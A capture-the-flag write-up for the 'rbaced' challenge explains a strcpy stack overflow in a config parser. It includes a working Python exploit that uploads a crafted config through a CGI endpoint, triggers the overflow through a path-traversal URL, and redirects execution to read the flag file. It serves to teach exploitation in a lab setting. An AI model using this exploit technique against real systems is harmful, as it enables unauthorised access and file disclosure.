Description

A thorough description of the challenge was provided by the original author of the challenge [1], so I will keep this explanation brief. We used the same vulnerabilities as described to craft a malicious pref.txt file.

Calling ./rbaced --daemon --config=<path-to-crafted-pref.txt> will result in a buffer overflow in the configuration parsing function at address 0x401A1B. Pseudo-code of the vulnerable function:

  memset(&stackBuffer, 0, 0x400uLL);
  while ( 1 )
  {
    result = src;
    if ( (unsigned __int64)src >= v3 )
      break;
    v7 = trim_right((unsigned __int64)src, v3);
    srca = (char *)get_ptr_first_nonwhitespace((__int64)src);
    if ( *srca == '#' )
    {
      src = (char *)v7;
    }
    else
    {
      strcpy((char *)&stackBuffer, srca);

The call to strcpy will result in a stack buffer overflow if any line in the configuration file is too long. Thus we can use long configuration lines to modify the return address on the stack. Instead of building a ROP chain that performs the opening, reading, and writing of the flag file, we decided to use the existing functionality provided by the binary to read file content's using the --file command line argument. Pseudo-code of this utility function:

  in_fd = open(script_name, 0); // Use buffer-overflow to return to this code here!
  if ( in_fd == -1 || stat_file(in_fd, &content_buffer) == -1 )
  {
    perror("open");
    exit(500);
  }
  for ( s1 = &script_name[strlen(script_name) - 1]; s1 > script_name && *s1 != '.'; --s1 )
    ;
  if ( !strcmp(s1, ".html") || !strcmp(s1, ".htm") )
  {
    type = (__int64)"text/html";
  }
  else if ( !strcmp(s1, ".css") )
  {
    type = (__int64)"text/css; charset=utf-8";
  }
  else if ( !strcmp(s1, ".jpeg") || !strcmp(s1, ".jpg") )
  {
    type = (__int64)"image/jpeg";
  }
  else if ( !strcmp(s1, ".png") )
  {
    type = (__int64)"image/png";
  }
  else if ( !strcmp(s1, ".gif") )
  {
    type = (__int64)"image/gif";
  }
  else if ( !strcmp(s1, ".pdf") )
  {
    type = (__int64)"application/pdf";
  }
  else if ( !strcmp(s1, ".mpeg") || !strcmp(s1, ".mp2") || !strcmp(s1, ".mp3") )
  {
    type = (__int64)"video/mpeg";
  }
  else if ( !strcmp(s1, ".js") )
  {
    type = (__int64)"application/x-javascript";
  }
  else if ( !strcmp(s1, ".tar") )
  {
    type = (__int64)"application/x-tar";
  }
  else if ( !strcmp(s1, ".zip") )
  {
    type = (__int64)"application/zip";
  }
  else if ( !strcmp(s1, ".gz") || !strcmp(s1, ".tgz") )
  {
    type = (__int64)"application/x-compressed";
  }
  else
  {
    type = (__int64)"text/plain";
  }
  count = content_buffer.st_size;
  printf("Content-Length: %zu\n", content_buffer.st_size);
  printf("Content-Type: %s\n\n", type);
  fflush(stdout);
  while ( count )
  {
    v5 = sendfile(1, in_fd, 0LL, count);
    count -= v5;
  }
  close_0(in_fd);
  exit(200);

The pointer to the scriptname string is stored on the stack, so we can simply place a pointer to the .BSS section on the stack which will then be used as the file name to be dumped. The user and group names under which the process should run can be set using the "User" and "Group" config keywords. Thus we can tell the configuration parser to store the user name "/flag_part1" in .BSS for us.

// .bss:0000000000605B28 ; char user_in_bss

      else if ( !strcasecmp((const char *)&stackBuffer, "User") )
      {
        strncpy(user_in_bss, s, 0x64uLL);
      }

To summarize, we craft a configuration file with the following contents:

  1. User "/flag_part1"
  2. A long line (using any configuration keyword) which contains padding, the return address to the file dumping function, and the pointer to our "/flag_part1" string.

The exploit code looks like this:

#!/usr/bin/env python
# @skusec

import os, sys, re
import requests
import struct
import hashlib


auth = 'Basic dXNlcjBOQ1lRTDpEb2lBQWQ3djlF'
headers = {'Authorization': auth}
offs = 0x40b
user_bss = 0x605b28
get_file_middle = 0x40385e
url = 'http://rbaced.insomnihack.ch:8080'

# Parse string "/flag_part1" into .bss section
payload = 'User ' + '/flag_part1\n'

# Create huge stack frame with the pointer to our string
# at the right position.
payload += 'Port ' + (130*'ZZZZZZZZ')
payload += 'YYYYYYYYYYY'
payload += struct.pack('<I', user_bss)
payload += '\n'

# We smashed the stack HARD before. Set the return address (only 3 non-zero bytes),
# which means we have to repeatedly fill up to the end of the buffer to place
# null bytes at the very end.
payload += 'Port ' + 'K' * (offs+8)
payload += '\x00\n'
payload += 'Port ' + 'L' * (offs+7)
payload += '\x00\n'
payload += 'Port ' + 'M' * (offs+6)
payload += '\x00\n'
payload += 'Port ' + 'N' * (offs+5)
payload += '\x00\n'
payload += 'Port ' + 'O' * (offs+4)
payload += '\x00\n'
payload += 'Port ' + 'P' * (offs)
payload += struct.pack('<I', get_file_middle)
payload += '\n'

# Upload by exploiting the poor preferences setting logic.
requests.post(url + '/cgi-bin/preferences', headers=headers, data={'sugar':'4\n' + payload})

# Get my own ip to build folder name.
content = requests.get(url + '/cgi-bin/preferences', headers=headers).content
ip = re.search(r'IP: \'(.+?)\'', content).group(1)
folder = hashlib.sha1(auth + ip).hexdigest()

# Get flag.
exploit_url = url + '/cgi-bin/../../rbaced?--daemon&--config=userdata/%s/pref.txt' % folder

num_attempts = 0
while True:
    ans = requests.post(exploit_url, headers=headers).content
    num_attempts += 1
    if 'INS{' in ans:
        print('Got flag after %d attempts: %s' % (num_attempts, ans))
        break

Result: Got flag after 2 attempts: INS{We need to ROP deeper!}

References

[1] https://blog.scrt.ch/2016/01/19/rbaced-a-ctf-introduction-to-grsecurity-rbac/